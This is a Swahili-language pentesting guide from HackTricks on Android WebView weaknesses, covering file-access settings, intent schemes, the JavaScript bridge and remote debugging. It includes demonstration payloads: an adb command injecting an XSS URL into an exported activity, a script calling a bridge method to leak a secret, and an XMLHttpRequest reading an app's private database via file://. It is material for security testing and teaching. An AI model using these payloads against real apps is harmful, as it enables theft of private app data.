hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

9.3 KiB
Raw Blame History

Mashambulizi ya WebView

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Mwongozo juu ya Mipangilio na Usalama wa WebView

Muhtasari wa Udhaifu wa WebView

Sehemu muhimu ya maendeleo ya Android inahusisha kushughulikia kwa usahihi WebViews. Mwongozo huu unasisitiza mipangilio muhimu na mazoea ya usalama ili kupunguza hatari zinazohusiana na matumizi ya WebView.

Mfano wa WebView

Upatikanaji wa Faili katika WebViews

Kwa chaguo-msingi, WebViews huruhusu upatikanaji wa faili. Kazi hii inadhibitiwa na njia ya setAllowFileAccess(), inayopatikana tangu Android API kiwango cha 3 (Cupcake 1.5). Programu zilizo na idhini ya android.permission.READ_EXTERNAL_STORAGE zinaweza kusoma faili kutoka kwenye hifadhi ya nje kwa kutumia mpango wa URL wa faili (file://path/to/file).

Vipengele Vilivyopitwa na Wakati: Upatikanaji wa Kila mahali Kutoka kwenye URL za Faili

  • Upatikanaji wa Kila mahali Kutoka kwenye URL za Faili: Kipengele hiki kilichopitwa na wakati kiliruhusu maombi kutoka kwa URL za faili, kwa hivyo kusababisha hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya chaguo-msingi ni imelemazwa (false) kwa programu zinazolenga Android Jelly Bean na mpya zaidi.
  • Ili kuangalia mipangilio hii, tumia getAllowUniversalAccessFromFileURLs().
  • Ili kubadilisha mipangilio hii, tumia setAllowUniversalAccessFromFileURLs(boolean).
  • Upatikanaji wa Faili Kutoka kwenye URL za Faili: Kipengele hiki, pia kilichopitwa na wakati, kilidhibiti upatikanaji wa maudhui kutoka kwenye URL za mpango wa faili zingine. Kama upatikanaji wa kila mahali, chaguo-msingi ni imelemazwa kwa usalama bora.
  • Tumia getAllowFileAccessFromFileURLs() kuangalia na setAllowFileAccessFromFileURLs(boolean) kuweka.

Upakiaji Salama wa Faili

Kwa kulemaza upatikanaji wa mfumo wa faili wakati bado unapata mali na rasilimali, njia ya setAllowFileAccess() hutumiwa. Kuanzia Android R na zaidi, mipangilio ya chaguo-msingi ni false.

  • Angalia na getAllowFileAccess().
  • Wezesha au lemesha na setAllowFileAccess(boolean).

WebViewAssetLoader

Darasa la WebViewAssetLoader ni njia ya kisasa ya kupakia faili za ndani. Inatumia URL za http(s) kwa kupata mali na rasilimali za ndani, ikilingana na sera ya Asili-Sawa, hivyo kurahisisha usimamizi wa CORS.

loadUrl

Hii ni kazi ya kawaida hutumiwa kupakia URL za kiholela katika webview:

webview.loadUrl("<url here>")

Ofc, mshambuliaji wa uwezekano anapaswa kamwe kuweza kudhibiti URL ambayo programu inatarajia kupakia.

Kushughulikia JavaScript na Mipango ya Nia

  • JavaScript: Imezimwa kwa chaguo-msingi katika WebViews, inaweza kuwezeshwa kupitia setJavaScriptEnabled(). Tahadhari inashauriwa kwani kuwezesha JavaScript bila ulinzi sahihi kunaweza kuleta mapungufu ya usalama.
  • Mipango ya Nia: WebViews inaweza kushughulikia mpango wa intent, ikiongoza kwa uwezekano wa kufaidika ikiwa haitasimamiwa kwa uangalifu. Mfano wa mapungufu ulihusisha parameter ya WebView iliyofichuliwa "support_url" ambayo inaweza kutumiwa kutekeleza mashambulizi ya msalaba wa tovuti (XSS).

WebView Inayoweza Kudhurika

Mfano wa kutumia unyonyaji kwa kutumia adb:

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"

{% endcode %}

Daraja la Javascript

Kipengele kinachotolewa na Android kinachowezesha JavaScript katika WebView kuita kazi za programu za asili za Android. Hii inafanikishwa kwa kutumia njia ya addJavascriptInterface, ambayo inaunganisha JavaScript na utendaji wa asili wa Android, inayoitwa Daraja la JavaScript la WebView. Tahadhari inashauriwa kwani njia hii inaruhusu kurasa zote ndani ya WebView kupata upatikanaji wa kifaa cha Kuingiliana cha JavaScript kilichosajiliwa, ikileta hatari ya usalama ikiwa habari nyeti itafunuliwa kupitia viunganishi hivi.

  • Tahadhari kali inahitajika kwa programu zinazolenga toleo la Android chini ya 4.2 kutokana na udhaifu unaoruhusu utekelezaji wa nambari kwa mbali kupitia JavaScript yenye nia mbaya, ikichambua mawimbi.

Kutekeleza Daraja la JavaScript

  • Viunganishi vya JavaScript vinaweza kuingiliana na nambari ya asili, kama inavyoonyeshwa katika mifano ambapo njia ya darasa inafunuliwa kwa JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge inawezeshwa kwa kuongeza kiolesura kwenye WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • Uwezekano wa kutumia JavaScript, kwa mfano, kupitia shambulio la XSS, inawezesha wito wa njia za Java zilizofichuliwa:
<script>alert(javascriptBridge.getSecret());</script>
  • Ili kupunguza hatari, zuia matumizi ya daraja la JavaScript kwa nambari iliyotumwa na APK na zuia kupakia JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka kiwango cha chini cha API kuwa 17.

Utekelezaji wa Nambari ya Mbali kwa Kutumia Uakisi (RCE)

  • Mbinu iliyodhibitishwa inaruhusu kufikia RCE kupitia uakisi kwa kutekeleza mzigo maalum. Hata hivyo, alama ya @JavascriptInterface inazuia ufikiaji usioruhusiwa wa njia, ikipunguza eneo la shambulio.

Upelekaji wa Mbali

  • Upelekaji wa mbali unawezekana na Zana za Watengenezaji wa Chrome, ikiruhusu mwingiliano na utekelezaji wa JavaScript wa kiholela ndani ya maudhui ya WebView.

Kuwezesha Upelekaji wa Mbali

  • Upelekaji wa mbali unaweza kuwezeshwa kwa WebViews zote ndani ya programu kwa:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Ili kuwezesha uchunguzi kwa msingi wa hali ya kuhakikiwa ya programu:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Kutuma faili za kiholela

  • Inaonyesha kutuma faili za kiholela kwa kutumia XMLHttpRequest:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: